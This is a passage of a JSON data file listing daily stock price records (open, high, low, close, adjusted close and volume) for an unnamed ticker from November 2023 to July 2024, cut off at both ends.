    "volume": 44970400
  },
  {
    "date": "2023-11-07",
    "open": 140.550003,
    "high": 143.369995,
    "low": 140.5,
    "close": 142.710007,
    "adjClose": 142.710007,
    "volume": 53553500
  },
  {
    "date": "2023-11-08",
    "open": 142.970001,
    "high": 143.119995,
    "low": 141.220001,
    "close": 142.080002,
    "adjClose": 142.080002,
    "volume": 44521700
  },
  {
    "date": "2023-11-09",
    "open": 142.020004,
    "high": 142.649994,
    "low": 139.839996,
    "close": 140.600006,
    "adjClose": 140.600006,
    "volume": 36235400
  },
  {
    "date": "2023-11-10",
    "open": 140.460007,
    "high": 143.649994,
    "low": 139.910004,
    "close": 143.559998,
    "adjClose": 143.559998,
    "volume": 49287800
  },
  {
    "date": "2023-11-13",
    "open": 142.080002,
    "high": 143.229996,
    "low": 140.669998,
    "close": 142.589996,
    "adjClose": 142.589996,
    "volume": 35680600
  },
  {
    "date": "2023-11-14",
    "open": 145.0,
    "high": 147.259995,
    "low": 144.679993,
    "close": 145.800003,
    "adjClose": 145.800003,
    "volume": 56674600
  },
  {
    "date": "2023-11-15",
    "open": 147.059998,
    "high": 147.289993,
    "low": 142.589996,
    "close": 143.199997,
    "adjClose": 143.199997,
    "volume": 63875700
  },
  {
    "date": "2023-11-16",
    "open": 140.910004,
    "high": 143.320007,
    "low": 139.520004,
    "close": 142.830002,
    "adjClose": 142.830002,
    "volume": 49653500
  },
  {
    "date": "2023-11-17",
    "open": 142.660004,
    "high": 145.229996,
    "low": 142.539993,
    "close": 145.179993,
    "adjClose": 145.179993,
    "volume": 49636700
  },
  {
    "date": "2023-11-20",
    "open": 145.130005,
    "high": 146.630005,
    "low": 144.729996,
    "close": 146.130005,
    "adjClose": 146.130005,
    "volume": 41951200
  },
  {
    "date": "2023-11-21",
    "open": 143.910004,
    "high": 144.050003,
    "low": 141.5,
    "close": 143.899994,
    "adjClose": 143.899994,
    "volume": 71226000
  },
  {
    "date": "2023-11-22",
    "open": 144.570007,
    "high": 147.740005,
    "low": 144.570007,
    "close": 146.710007,
    "adjClose": 146.710007,
    "volume": 45669100
  },
  {
    "date": "2023-11-24",
    "open": 146.699997,
    "high": 147.199997,
    "low": 145.320007,
    "close": 146.740005,
    "adjClose": 146.740005,
    "volume": 22378400
  },
  {
    "date": "2023-11-27",
    "open": 147.529999,
    "high": 149.259995,
    "low": 146.880005,
    "close": 147.729996,
    "adjClose": 147.729996,
    "volume": 53762400
  },
  {
    "date": "2023-11-28",
    "open": 146.979996,
    "high": 147.600006,
    "low": 145.529999,
    "close": 147.029999,
    "adjClose": 147.029999,
    "volume": 42711700
  },
  {
    "date": "2023-11-29",
    "open": 147.850006,
    "high": 148.539993,
    "low": 145.970001,
    "close": 146.320007,
    "adjClose": 146.320007,
    "volume": 40610900
  },
  {
    "date": "2023-11-30",
    "open": 144.759995,
    "high": 146.929993,
    "low": 144.330002,
    "close": 146.089996,
    "adjClose": 146.089996,
    "volume": 65814000
  },
  {
    "date": "2023-12-01",
    "open": 146.0,
    "high": 147.25,
    "low": 145.550003,
    "close": 147.029999,
    "adjClose": 147.029999,
    "volume": 39924600
  },
  {
    "date": "2023-12-04",
    "open": 145.25,
    "high": 145.350006,
    "low": 142.809998,
    "close": 144.839996,
    "adjClose": 144.839996,
    "volume": 48294200
  },
  {
    "date": "2023-12-05",
    "open": 143.550003,
    "high": 148.570007,
    "low": 143.130005,
    "close": 146.880005,
    "adjClose": 146.880005,
    "volume": 46822400
  },
  {
    "date": "2023-12-06",
    "open": 147.580002,
    "high": 147.850006,
    "low": 144.279999,
    "close": 144.520004,
    "adjClose": 144.520004,
    "volume": 39679000
  },
  {
    "date": "2023-12-07",
    "open": 146.149994,
    "high": 147.919998,
    "low": 145.339996,
    "close": 146.880005,
    "adjClose": 146.880005,
    "volume": 52352800
  },
  {
    "date": "2023-12-08",
    "open": 145.479996,
    "high": 147.839996,
    "low": 145.399994,
    "close": 147.419998,
    "adjClose": 147.419998,
    "volume": 41858000
  },
  {
    "date": "2023-12-11",
    "open": 145.660004,
    "high": 146.190002,
    "low": 143.639999,
    "close": 145.889999,
    "adjClose": 145.889999,
    "volume": 50907300
  },
  {
    "date": "2023-12-12",
    "open": 145.520004,
    "high": 147.5,
    "low": 145.300003,
    "close": 147.479996,
    "adjClose": 147.479996,
    "volume": 44944300
  },
  {
    "date": "2023-12-13",
    "open": 148.119995,
    "high": 149.460007,
    "low": 146.820007,
    "close": 148.839996,
    "adjClose": 148.839996,
    "volume": 52766200
  },
  {
    "date": "2023-12-14",
    "open": 149.929993,
    "high": 150.539993,
    "low": 145.520004,
    "close": 147.419998,
    "adjClose": 147.419998,
    "volume": 58400800
  },
  {
    "date": "2023-12-15",
    "open": 148.380005,
    "high": 150.570007,
    "low": 147.880005,
    "close": 149.970001,
    "adjClose": 149.970001,
    "volume": 110039100
  },
  {
    "date": "2023-12-18",
    "open": 150.559998,
    "high": 154.850006,
    "low": 150.050003,
    "close": 154.070007,
    "adjClose": 154.070007,
    "volume": 62512800
  },
  {
    "date": "2023-12-19",
    "open": 154.399994,
    "high": 155.119995,
    "low": 152.690002,
    "close": 153.789993,
    "adjClose": 153.789993,
    "volume": 43171300
  },
  {
    "date": "2023-12-20",
    "open": 152.899994,
    "high": 155.630005,
    "low": 151.559998,
    "close": 152.119995,
    "adjClose": 152.119995,
    "volume": 50322100
  },
  {
    "date": "2023-12-21",
    "open": 153.300003,
    "high": 153.970001,
    "low": 152.100006,
    "close": 153.839996,
    "adjClose": 153.839996,
    "volume": 36305700
  },
  {
    "date": "2023-12-22",
    "open": 153.770004,
    "high": 154.350006,
    "low": 152.710007,
    "close": 153.419998,
    "adjClose": 153.419998,
    "volume": 29480100
  },
  {
    "date": "2023-12-26",
    "open": 153.559998,
    "high": 153.979996,
    "low": 153.029999,
    "close": 153.410004,
    "adjClose": 153.410004,
    "volume": 25067200
  },
  {
    "date": "2023-12-27",
    "open": 153.559998,
    "high": 154.779999,
    "low": 153.119995,
    "close": 153.339996,
    "adjClose": 153.339996,
    "volume": 31434700
  },
  {
    "date": "2023-12-28",
    "open": 153.720001,
    "high": 154.080002,
    "low": 152.949997,
    "close": 153.380005,
    "adjClose": 153.380005,
    "volume": 27057000
  },
  {
    "date": "2023-12-29",
    "open": 153.100006,
    "high": 153.889999,
    "low": 151.029999,
    "close": 151.940002,
    "adjClose": 151.940002,
    "volume": 39789000
  },
  {
    "date": "2024-01-02",
    "open": 151.539993,
    "high": 152.380005,
    "low": 148.389999,
    "close": 149.929993,
    "adjClose": 149.929993,
    "volume": 47339400
  },
  {
    "date": "2024-01-03",
    "open": 149.199997,
    "high": 151.050003,
    "low": 148.330002,
    "close": 148.470001,
    "adjClose": 148.470001,
    "volume": 49425500
  },
  {
    "date": "2024-01-04",
    "open": 145.589996,
    "high": 147.380005,
    "low": 144.050003,
    "close": 144.570007,
    "adjClose": 144.570007,
    "volume": 56039800
  },
  {
    "date": "2024-01-05",
    "open": 144.690002,
    "high": 146.589996,
    "low": 144.529999,
    "close": 145.240005,
    "adjClose": 145.240005,
    "volume": 45124800
  },
  {
    "date": "2024-01-08",
    "open": 146.740005,
    "high": 149.399994,
    "low": 146.149994,
    "close": 149.100006,
    "adjClose": 149.100006,
    "volume": 46757100
  },
  {
    "date": "2024-01-09",
    "open": 148.330002,
    "high": 151.710007,
    "low": 148.210007,
    "close": 151.369995,
    "adjClose": 151.369995,
    "volume": 43812600
  },
  {
    "date": "2024-01-10",
    "open": 152.059998,
    "high": 154.419998,
    "low": 151.880005,
    "close": 153.729996,
    "adjClose": 153.729996,
    "volume": 44421800
  },
  {
    "date": "2024-01-11",
    "open": 155.039993,
    "high": 157.169998,
    "low": 153.119995,
    "close": 155.179993,
    "adjClose": 155.179993,
    "volume": 49072700
  },
  {
    "date": "2024-01-12",
    "open": 155.389999,
    "high": 156.199997,
    "low": 154.009995,
    "close": 154.619995,
    "adjClose": 154.619995,
    "volume": 40460300
  },
  {
    "date": "2024-01-16",
    "open": 153.529999,
    "high": 154.990005,
    "low": 152.149994,
    "close": 153.160004,
    "adjClose": 153.160004,
    "volume": 41384600
  },
  {
    "date": "2024-01-17",
    "open": 151.490005,
    "high": 152.149994,
    "low": 149.910004,
    "close": 151.710007,
    "adjClose": 151.710007,
    "volume": 34953400
  },
  {
    "date": "2024-01-18",
    "open": 152.770004,
    "high": 153.779999,
    "low": 151.820007,
    "close": 153.5,
    "adjClose": 153.5,
    "volume": 37850200
  },
  {
    "date": "2024-01-19",
    "open": 153.830002,
    "high": 155.759995,
    "low": 152.740005,
    "close": 155.339996,
    "adjClose": 155.339996,
    "volume": 51033700
  },
  {
    "date": "2024-01-22",
    "open": 156.889999,
    "high": 157.050003,
    "low": 153.899994,
    "close": 154.779999,
    "adjClose": 154.779999,
    "volume": 43687500
  },
  {
    "date": "2024-01-23",
    "open": 154.850006,
    "high": 156.210007,
    "low": 153.929993,
    "close": 156.020004,
    "adjClose": 156.020004,
    "volume": 37986000
  },
  {
    "date": "2024-01-24",
    "open": 157.800003,
    "high": 158.509995,
    "low": 156.479996,
    "close": 156.869995,
    "adjClose": 156.869995,
    "volume": 48547300
  },
  {
    "date": "2024-01-25",
    "open": 156.949997,
    "high": 158.509995,
    "low": 154.550003,
    "close": 157.75,
    "adjClose": 157.75,
    "volume": 43638600
  },
  {
    "date": "2024-01-26",
    "open": 158.419998,
    "high": 160.720001,
    "low": 157.910004,
    "close": 159.119995,
    "adjClose": 159.119995,
    "volume": 51047400
  },
  {
    "date": "2024-01-29",
    "open": 159.339996,
    "high": 161.289993,
    "low": 158.899994,
    "close": 161.259995,
    "adjClose": 161.259995,
    "volume": 45270400
  },
  {
    "date": "2024-01-30",
    "open": 160.699997,
    "high": 161.729996,
    "low": 158.490005,
    "close": 159.0,
    "adjClose": 159.0,
    "volume": 45207400
  },
  {
    "date": "2024-01-31",
    "open": 157.0,
    "high": 159.009995,
    "low": 154.809998,
    "close": 155.199997,
    "adjClose": 155.199997,
    "volume": 50284400
  },
  {
    "date": "2024-02-01",
    "open": 155.869995,
    "high": 159.759995,
    "low": 155.619995,
    "close": 159.279999,
    "adjClose": 159.279999,
    "volume": 76542400
  },
  {
    "date": "2024-02-02",
    "open": 169.190002,
    "high": 172.5,
    "low": 167.330002,
    "close": 171.809998,
    "adjClose": 171.809998,
    "volume": 117154900
  },
  {
    "date": "2024-02-05",
    "open": 170.199997,
    "high": 170.550003,
    "low": 167.699997,
    "close": 170.309998,
    "adjClose": 170.309998,
    "volume": 55081300
  },
  {
    "date": "2024-02-06",
    "open": 169.389999,
    "high": 170.710007,
    "low": 167.649994,
    "close": 169.149994,
    "adjClose": 169.149994,
    "volume": 42505500
  },
  {
    "date": "2024-02-07",
    "open": 169.479996,
    "high": 170.880005,
    "low": 168.940002,
    "close": 170.529999,
    "adjClose": 170.529999,
    "volume": 47174100
  },
  {
    "date": "2024-02-08",
    "open": 169.649994,
    "high": 171.429993,
    "low": 168.880005,
    "close": 169.839996,
    "adjClose": 169.839996,
    "volume": 42316500
  },
  {
    "date": "2024-02-09",
    "open": 170.899994,
    "high": 175.0,
    "low": 170.580002,
    "close": 174.449997,
    "adjClose": 174.449997,
    "volume": 56986000
  },
  {
    "date": "2024-02-12",
    "open": 174.800003,
    "high": 175.389999,
    "low": 171.539993,
    "close": 172.339996,
    "adjClose": 172.339996,
    "volume": 51050400
  },
  {
    "date": "2024-02-13",
    "open": 167.729996,
    "high": 170.949997,
    "low": 165.75,
    "close": 168.639999,
    "adjClose": 168.639999,
    "volume": 56345100
  },
  {
    "date": "2024-02-14",
    "open": 169.210007,
    "high": 171.210007,
    "low": 168.279999,
    "close": 170.979996,
    "adjClose": 170.979996,
    "volume": 42815500
  },
  {
    "date": "2024-02-15",
    "open": 170.580002,
    "high": 171.169998,
    "low": 167.589996,
    "close": 169.800003,
    "adjClose": 169.800003,
    "volume": 49855200
  },
  {
    "date": "2024-02-16",
    "open": 168.740005,
    "high": 170.419998,
    "low": 167.169998,
    "close": 169.509995,
    "adjClose": 169.509995,
    "volume": 48074600
  },
  {
    "date": "2024-02-20",
    "open": 167.830002,
    "high": 168.710007,
    "low": 165.740005,
    "close": 167.080002,
    "adjClose": 167.080002,
    "volume": 41980300
  },
  {
    "date": "2024-02-21",
    "open": 168.940002,
    "high": 170.229996,
    "low": 167.139999,
    "close": 168.589996,
    "adjClose": 168.589996,
    "volume": 44575600
  },
  {
    "date": "2024-02-22",
    "open": 173.100006,
    "high": 174.800003,
    "low": 171.770004,
    "close": 174.580002,
    "adjClose": 174.580002,
    "volume": 55392400
  },
  {
    "date": "2024-02-23",
    "open": 174.279999,
    "high": 175.75,
    "low": 173.699997,
    "close": 174.990005,
    "adjClose": 174.990005,
    "volume": 59715200
  },
  {
    "date": "2024-02-26",
    "open": 175.699997,
    "high": 176.369995,
    "low": 174.259995,
    "close": 174.729996,
    "adjClose": 174.729996,
    "volume": 44368600
  },
  {
    "date": "2024-02-27",
    "open": 174.080002,
    "high": 174.619995,
    "low": 172.860001,
    "close": 173.539993,
    "adjClose": 173.539993,
    "volume": 31141700
  },
  {
    "date": "2024-02-28",
    "open": 172.440002,
    "high": 174.050003,
    "low": 172.270004,
    "close": 173.160004,
    "adjClose": 173.160004,
    "volume": 28180500
  },
  {
    "date": "2024-02-29",
    "open": 173.009995,
    "high": 177.220001,
    "low": 172.850006,
    "close": 176.759995,
    "adjClose": 176.759995,
    "volume": 53805400
  },
  {
    "date": "2024-03-01",
    "open": 176.75,
    "high": 178.729996,
    "low": 176.070007,
    "close": 178.220001,
    "adjClose": 178.220001,
    "volume": 31956200
  },
  {
    "date": "2024-03-04",
    "open": 177.529999,
    "high": 180.139999,
    "low": 177.490005,
    "close": 177.580002,
    "adjClose": 177.580002,
    "volume": 37381500
  },
  {
    "date": "2024-03-05",
    "open": 176.929993,
    "high": 176.929993,
    "low": 173.300003,
    "close": 174.119995,
    "adjClose": 174.119995,
    "volume": 37228300
  },
  {
    "date": "2024-03-06",
    "open": 175.539993,
    "high": 176.460007,
    "low": 173.259995,
    "close": 173.509995,
    "adjClose": 173.509995,
    "volume": 32090900
  },
  {
    "date": "2024-03-07",
    "open": 174.830002,
    "high": 177.990005,
    "low": 173.720001,
    "close": 176.820007,
    "adjClose": 176.820007,
    "volume": 34063300
  },
  {
    "date": "2024-03-08",
    "open": 176.440002,
    "high": 178.789993,
    "low": 174.330002,
    "close": 175.350006,
    "adjClose": 175.350006,
    "volume": 37853500
  },
  {
    "date": "2024-03-11",
    "open": 174.309998,
    "high": 174.470001,
    "low": 171.470001,
    "close": 171.960007,
    "adjClose": 171.960007,
    "volume": 28484800
  },
  {
    "date": "2024-03-12",
    "open": 173.5,
    "high": 176.759995,
    "low": 171.979996,
    "close": 175.389999,
    "adjClose": 175.389999,
    "volume": 36610600
  },
  {
    "date": "2024-03-13",
    "open": 175.899994,
    "high": 177.619995,
    "low": 175.550003,
    "close": 176.559998,
    "adjClose": 176.559998,
    "volume": 30772600
  },
  {
    "date": "2024-03-14",
    "open": 177.690002,
    "high": 179.529999,
    "low": 176.470001,
    "close": 178.75,
    "adjClose": 178.75,
    "volume": 43705800
  },
  {
    "date": "2024-03-15",
    "open": 176.639999,
    "high": 177.929993,
    "low": 173.899994,
    "close": 174.419998,
    "adjClose": 174.419998,
    "volume": 72115500
  },
  {
    "date": "2024-03-18",
    "open": 175.800003,
    "high": 176.690002,
    "low": 174.279999,
    "close": 174.479996,
    "adjClose": 174.479996,
    "volume": 31250700
  },
  {
    "date": "2024-03-19",
    "open": 174.220001,
    "high": 176.089996,
    "low": 173.520004,
    "close": 175.899994,
    "adjClose": 175.899994,
    "volume": 26880900
  },
  {
    "date": "2024-03-20",
    "open": 176.139999,
    "high": 178.529999,
    "low": 174.639999,
    "close": 178.149994,
    "adjClose": 178.149994,
    "volume": 29947200
  },
  {
    "date": "2024-03-21",
    "open": 179.990005,
    "high": 181.419998,
    "low": 178.149994,
    "close": 178.149994,
    "adjClose": 178.149994,
    "volume": 32824300
  },
  {
    "date": "2024-03-22",
    "open": 177.75,
    "high": 179.259995,
    "low": 176.75,
    "close": 178.869995,
    "adjClose": 178.869995,
    "volume": 27964100
  },
  {
    "date": "2024-03-25",
    "open": 178.009995,
    "high": 180.990005,
    "low": 177.240005,
    "close": 179.710007,
    "adjClose": 179.710007,
    "volume": 29815500
  },
  {
    "date": "2024-03-26",
    "open": 180.149994,
    "high": 180.449997,
    "low": 177.949997,
    "close": 178.300003,
    "adjClose": 178.300003,
    "volume": 29659000
  },
  {
    "date": "2024-03-27",
    "open": 179.880005,
    "high": 180.0,
    "low": 177.309998,
    "close": 179.830002,
    "adjClose": 179.830002,
    "volume": 33272600
  },
  {
    "date": "2024-03-28",
    "open": 180.169998,
    "high": 181.699997,
    "low": 179.259995,
    "close": 180.380005,
    "adjClose": 180.380005,
    "volume": 38051600
  },
  {
    "date": "2024-04-01",
    "open": 180.789993,
    "high": 183.0,
    "low": 179.949997,
    "close": 180.970001,
    "adjClose": 180.970001,
    "volume": 29174500
  },
  {
    "date": "2024-04-02",
    "open": 179.070007,
    "high": 180.789993,
    "low": 178.380005,
    "close": 180.690002,
    "adjClose": 180.690002,
    "volume": 32611500
  },
  {
    "date": "2024-04-03",
    "open": 179.899994,
    "high": 182.869995,
    "low": 179.800003,
    "close": 182.410004,
    "adjClose": 182.410004,
    "volume": 31046600
  },
  {
    "date": "2024-04-04",
    "open": 184.0,
    "high": 185.100006,
    "low": 180.0,
    "close": 180.0,
    "adjClose": 180.0,
    "volume": 41624300
  },
  {
    "date": "2024-04-05",
    "open": 182.380005,
    "high": 186.270004,
    "low": 181.970001,
    "close": 185.070007,
    "adjClose": 185.070007,
    "volume": 42335200
  },
  {
    "date": "2024-04-08",
    "open": 186.899994,
    "high": 187.289993,
    "low": 184.809998,
    "close": 185.190002,
    "adjClose": 185.190002,
    "volume": 39221300
  },
  {
    "date": "2024-04-09",
    "open": 187.240005,
    "high": 187.339996,
    "low": 184.199997,
    "close": 185.669998,
    "adjClose": 185.669998,
    "volume": 36546900
  },
  {
    "date": "2024-04-10",
    "open": 182.770004,
    "high": 186.270004,
    "low": 182.669998,
    "close": 185.949997,
    "adjClose": 185.949997,
    "volume": 35879200
  },
  {
    "date": "2024-04-11",
    "open": 186.740005,
    "high": 189.770004,
    "low": 185.509995,
    "close": 189.050003,
    "adjClose": 189.050003,
    "volume": 40020700
  },
  {
    "date": "2024-04-12",
    "open": 187.720001,
    "high": 188.380005,
    "low": 185.080002,
    "close": 186.130005,
    "adjClose": 186.130005,
    "volume": 38554300
  },
  {
    "date": "2024-04-15",
    "open": 187.429993,
    "high": 188.690002,
    "low": 183.0,
    "close": 183.619995,
    "adjClose": 183.619995,
    "volume": 48052400
  },
  {
    "date": "2024-04-16",
    "open": 183.270004,
    "high": 184.830002,
    "low": 182.259995,
    "close": 183.320007,
    "adjClose": 183.320007,
    "volume": 32891300
  },
  {
    "date": "2024-04-17",
    "open": 184.309998,
    "high": 184.570007,
    "low": 179.820007,
    "close": 181.279999,
    "adjClose": 181.279999,
    "volume": 31359700
  },
  {
    "date": "2024-04-18",
    "open": 181.470001,
    "high": 182.389999,
    "low": 178.649994,
    "close": 179.220001,
    "adjClose": 179.220001,
    "volume": 30723800
  },
  {
    "date": "2024-04-19",
    "open": 178.740005,
    "high": 179.0,
    "low": 173.440002,
    "close": 174.630005,
    "adjClose": 174.630005,
    "volume": 55950000
  },
  {
    "date": "2024-04-22",
    "open": 176.940002,
    "high": 178.869995,
    "low": 174.559998,
    "close": 177.229996,
    "adjClose": 177.229996,
    "volume": 37924900
  },
  {
    "date": "2024-04-23",
    "open": 178.080002,
    "high": 179.929993,
    "low": 175.979996,
    "close": 179.539993,
    "adjClose": 179.539993,
    "volume": 37046500
  },
  {
    "date": "2024-04-24",
    "open": 179.940002,
    "high": 180.320007,
    "low": 176.179993,
    "close": 176.589996,
    "adjClose": 176.589996,
    "volume": 34185100
  },
  {
    "date": "2024-04-25",
    "open": 169.679993,
    "high": 173.919998,
    "low": 166.320007,
    "close": 173.669998,
    "adjClose": 173.669998,
    "volume": 49249400
  },
  {
    "date": "2024-04-26",
    "open": 177.800003,
    "high": 180.820007,
    "low": 176.130005,
    "close": 179.619995,
    "adjClose": 179.619995,
    "volume": 43919800
  },
  {
    "date": "2024-04-29",
    "open": 182.75,
    "high": 183.529999,
    "low": 179.389999,
    "close": 180.960007,
    "adjClose": 180.960007,
    "volume": 54063900
  },
  {
    "date": "2024-04-30",
    "open": 181.089996,
    "high": 182.990005,
    "low": 174.800003,
    "close": 175.0,
    "adjClose": 175.0,
    "volume": 94639800
  },
  {
    "date": "2024-05-01",
    "open": 181.639999,
    "high": 185.149994,
    "low": 176.559998,
    "close": 179.0,
    "adjClose": 179.0,
    "volume": 94645100
  },
  {
    "date": "2024-05-02",
    "open": 180.850006,
    "high": 185.100006,
    "low": 179.910004,
    "close": 184.720001,
    "adjClose": 184.720001,
    "volume": 54303500
  },
  {
    "date": "2024-05-03",
    "open": 186.990005,
    "high": 187.869995,
    "low": 185.419998,
    "close": 186.210007,
    "adjClose": 186.210007,
    "volume": 39172000
  },
  {
    "date": "2024-05-06",
    "open": 186.279999,
    "high": 188.75,
    "low": 184.800003,
    "close": 188.699997,
    "adjClose": 188.699997,
    "volume": 34725300
  },
  {
    "date": "2024-05-07",
    "open": 188.919998,
    "high": 189.940002,
    "low": 187.309998,
    "close": 188.759995,
    "adjClose": 188.759995,
    "volume": 34048900
  },
  {
    "date": "2024-05-08",
    "open": 187.440002,
    "high": 188.429993,
    "low": 186.389999,
    "close": 188.0,
    "adjClose": 188.0,
    "volume": 26136400
  },
  {
    "date": "2024-05-09",
    "open": 188.880005,
    "high": 191.699997,
    "low": 187.440002,
    "close": 189.5,
    "adjClose": 189.5,
    "volume": 43368400
  },
  {
    "date": "2024-05-10",
    "open": 189.160004,
    "high": 189.889999,
    "low": 186.929993,
    "close": 187.479996,
    "adjClose": 187.479996,
    "volume": 34141800
  },
  {
    "date": "2024-05-13",
    "open": 188.0,
    "high": 188.309998,
    "low": 185.360001,
    "close": 186.570007,
    "adjClose": 186.570007,
    "volume": 24898600
  },
  {
    "date": "2024-05-14",
    "open": 183.820007,
    "high": 187.720001,
    "low": 183.449997,
    "close": 187.070007,
    "adjClose": 187.070007,
    "volume": 38698200
  },
  {
    "date": "2024-05-15",
    "open": 185.970001,
    "high": 186.720001,
    "low": 182.729996,
    "close": 185.990005,
    "adjClose": 185.990005,
    "volume": 75459900
  },
  {
    "date": "2024-05-16",
    "open": 185.600006,
    "high": 187.309998,
    "low": 183.460007,
    "close": 183.630005,
    "adjClose": 183.630005,
    "volume": 38834500
  },
  {
    "date": "2024-05-17",
    "open": 183.759995,
    "high": 185.300003,
    "low": 183.350006,
    "close": 184.699997,
    "adjClose": 184.699997,
    "volume": 33175700
  },
  {
    "date": "2024-05-20",
    "open": 184.339996,
    "high": 186.669998,
    "low": 183.279999,
    "close": 183.539993,
    "adjClose": 183.539993,
    "volume": 30511800
  },
  {
    "date": "2024-05-21",
    "open": 182.300003,
    "high": 183.259995,
    "low": 180.75,
    "close": 183.149994,
    "adjClose": 183.149994,
    "volume": 50839100
  },
  {
    "date": "2024-05-22",
    "open": 183.880005,
    "high": 185.220001,
    "low": 181.970001,
    "close": 183.130005,
    "adjClose": 183.130005,
    "volume": 28148800
  },
  {
    "date": "2024-05-23",
    "open": 183.660004,
    "high": 184.759995,
    "low": 180.080002,
    "close": 181.050003,
    "adjClose": 181.050003,
    "volume": 33670200
  },
  {
    "date": "2024-05-24",
    "open": 181.649994,
    "high": 182.440002,
    "low": 180.300003,
    "close": 180.75,
    "adjClose": 180.75,
    "volume": 27434100
  },
  {
    "date": "2024-05-28",
    "open": 179.929993,
    "high": 182.240005,
    "low": 179.490005,
    "close": 182.149994,
    "adjClose": 182.149994,
    "volume": 29927000
  },
  {
    "date": "2024-05-29",
    "open": 181.699997,
    "high": 184.080002,
    "low": 181.550003,
    "close": 182.020004,
    "adjClose": 182.020004,
    "volume": 32009300
  },
  {
    "date": "2024-05-30",
    "open": 181.309998,
    "high": 181.339996,
    "low": 178.360001,
    "close": 179.320007,
    "adjClose": 179.320007,
    "volume": 29249200
  },
  {
    "date": "2024-05-31",
    "open": 178.300003,
    "high": 179.210007,
    "low": 173.869995,
    "close": 176.440002,
    "adjClose": 176.440002,
    "volume": 58903900
  },
  {
    "date": "2024-06-03",
    "open": 177.699997,
    "high": 178.699997,
    "low": 175.919998,
    "close": 178.339996,
    "adjClose": 178.339996,
    "volume": 30786600
  },
  {
    "date": "2024-06-04",
    "open": 177.639999,
    "high": 179.820007,
    "low": 176.440002,
    "close": 179.339996,
    "adjClose": 179.339996,
    "volume": 27198400
  },
  {
    "date": "2024-06-05",
    "open": 180.100006,
    "high": 181.5,
    "low": 178.75,
    "close": 181.279999,
    "adjClose": 181.279999,
    "volume": 32116400
  },
  {
    "date": "2024-06-06",
    "open": 181.75,
    "high": 185.0,
    "low": 181.490005,
    "close": 185.0,
    "adjClose": 185.0,
    "volume": 31371200
  },
  {
    "date": "2024-06-07",
    "open": 184.899994,
    "high": 186.289993,
    "low": 183.360001,
    "close": 184.300003,
    "adjClose": 184.300003,
    "volume": 28021500
  },
  {
    "date": "2024-06-10",
    "open": 184.070007,
    "high": 187.229996,
    "low": 183.789993,
    "close": 187.059998,
    "adjClose": 187.059998,
    "volume": 34494500
  },
  {
    "date": "2024-06-11",
    "open": 187.059998,
    "high": 187.770004,
    "low": 184.539993,
    "close": 187.229996,
    "adjClose": 187.229996,
    "volume": 27265100
  },
  {
    "date": "2024-06-12",
    "open": 188.020004,
    "high": 188.350006,
    "low": 185.429993,
    "close": 186.889999,
    "adjClose": 186.889999,
    "volume": 33984200
  },
  {
    "date": "2024-06-13",
    "open": 186.089996,
    "high": 187.669998,
    "low": 182.669998,
    "close": 183.830002,
    "adjClose": 183.830002,
    "volume": 39721500
  },
  {
    "date": "2024-06-14",
    "open": 183.080002,
    "high": 183.720001,
    "low": 182.229996,
    "close": 183.660004,
    "adjClose": 183.660004,
    "volume": 25456400
  },
  {
    "date": "2024-06-17",
    "open": 182.520004,
    "high": 185.0,
    "low": 181.220001,
    "close": 184.059998,
    "adjClose": 184.059998,
    "volume": 35601900
  },
  {
    "date": "2024-06-18",
    "open": 183.740005,
    "high": 184.289993,
    "low": 181.429993,
    "close": 182.809998,
    "adjClose": 182.809998,
    "volume": 36659200
  },
  {
    "date": "2024-06-20",
    "open": 182.910004,
    "high": 186.509995,
    "low": 182.720001,
    "close": 186.100006,
    "adjClose": 186.100006,
    "volume": 44726800
  },
  {
    "date": "2024-06-21",
    "open": 187.800003,
    "high": 189.279999,
    "low": 185.860001,
    "close": 189.080002,
    "adjClose": 189.080002,
    "volume": 72931800
  },
  {
    "date": "2024-06-24",
    "open": 189.330002,
    "high": 191.0,
    "low": 185.330002,
    "close": 185.570007,
    "adjClose": 185.570007,
    "volume": 50610400
  },
  {
    "date": "2024-06-25",
    "open": 186.809998,
    "high": 188.839996,
    "low": 185.419998,
    "close": 186.339996,
    "adjClose": 186.339996,
    "volume": 45898500
  },
  {
    "date": "2024-06-26",
    "open": 186.919998,
    "high": 194.800003,
    "low": 186.259995,
    "close": 193.610001,
    "adjClose": 193.610001,
    "volume": 65103900
  },
  {
    "date": "2024-06-27",
    "open": 195.009995,
    "high": 199.839996,
    "low": 194.199997,
    "close": 197.850006,
    "adjClose": 197.850006,
    "volume": 74397500
  },
  {
    "date": "2024-06-28",
    "open": 197.729996,
    "high": 198.850006,
    "low": 192.5,
    "close": 193.25,
    "adjClose": 193.25,
    "volume": 76930200
  },
  {
    "date": "2024-07-01",
    "open": 193.490005,
    "high": 198.300003,
    "low": 192.820007,
    "close": 197.199997,
    "adjClose": 197.199997,
    "volume": 41192000
  },
  {
    "date": "2024-07-02",
    "open": 197.279999,
    "high": 200.429993,
    "low": 195.929993,
    "close": 200.0,
    "adjClose": 200.0,
    "volume": 45600000
  },
  {
    "date": "2024-07-03",
    "open": 199.940002,
    "high": 200.029999,
    "low": 196.759995,
    "close": 197.589996,
    "adjClose": 197.589996,
    "volume": 31597900
  },
  {
    "date": "2024-07-05",
    "open": 198.649994,
    "high": 200.550003,
    "low": 198.169998,
    "close": 200.0,
    "adjClose": 200.0,
    "volume": 39858900
  },
  {
    "date": "2024-07-08",
    "open": 200.039993,
    "high": 201.199997,
    "low": 197.960007,
    "close": 199.289993,
    "adjClose": 199.289993,
    "volume": 34767300
  },
  {
    "date": "2024-07-09",
    "open": 199.399994,
    "high": 200.570007,
    "low": 199.050003,
    "close": 199.339996,
    "adjClose": 199.339996,
    "volume": 32700100
  },
  {
    "date": "2024-07-10",
    "open": 200.0,
    "high": 200.110001,
    "low": 197.690002,
    "close": 199.789993,
    "adjClose": 199.789993,
    "volume": 32883800
  },
  {
    "date": "2024-07-11",
    "open": 200.089996,
    "high": 200.270004,
    "low": 192.860001,
    "close": 195.050003,
    "adjClose": 195.050003,
    "volume": 44565000
  },
  {
    "date": "2024-07-12",
    "open": 194.800003,
    "high": 196.470001,
    "low": 193.830002,
    "close": 194.490005,
    "adjClose": 194.490005,
    "volume": 30598500
  },
  {
    "date": "2024-07-15",
    "open": 194.559998,
    "high": 196.190002,
    "low": 190.830002,
    "close": 192.720001,
    "adjClose": 192.720001,
    "volume": 40683200
  },
  {
    "date": "2024-07-16",
    "open": 195.589996,
    "high": 196.619995,
    "low": 192.240005,
    "close": 193.020004,
    "adjClose": 193.020004,
    "volume": 33994700
  },
  {
    "date": "2024-07-17",
    "open": 191.350006,
    "high": 191.580002,
    "low": 185.990005,
    "close": 187.929993,
    "adjClose": 187.929993,
    "volume": 48076100
